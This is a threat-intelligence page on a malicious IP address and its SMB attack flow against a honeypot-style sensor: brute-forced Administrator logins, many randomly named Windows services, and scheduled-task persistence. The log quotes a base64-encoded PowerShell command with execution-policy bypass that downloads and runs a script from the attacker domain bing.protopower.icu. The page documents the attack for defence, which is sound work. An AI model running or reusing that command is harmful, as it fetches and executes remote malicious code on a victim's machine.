Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 59.98.234.139Malicious

IP Address: 59.98.234.139Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

IDS - A Network Trojan was detected SMB Null Session Login DNS Query SMB Share Connect Access Suspicious Domain Listening Scheduled Task Creation PowerShell SMB Service Start CMD File Operation By CMD Successful SMB Login Service Creation

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

59.98.234.139

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-09-22

Last seen in Akamai Guardicore Segmentation

2023-09-22

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named XIia under service group None

Service Creation Service Start

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 17 times

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named GYTk under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named QXRx under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named ZGSN under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named PyDd under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named Kcvo under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named ehLx under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named BvDf under service group None

Service Creation Service Start

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

Access Suspicious Domain DNS Query

c:\windows\system32\services.exe installed and started as a service named WIui under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named owAb under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named UONd under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named pmip under service group None

Service Creation Service Start

Connection was closed due to timeout

c:\windows\system32\services.exe installed as a service named ifoQ under service group None

Service Creation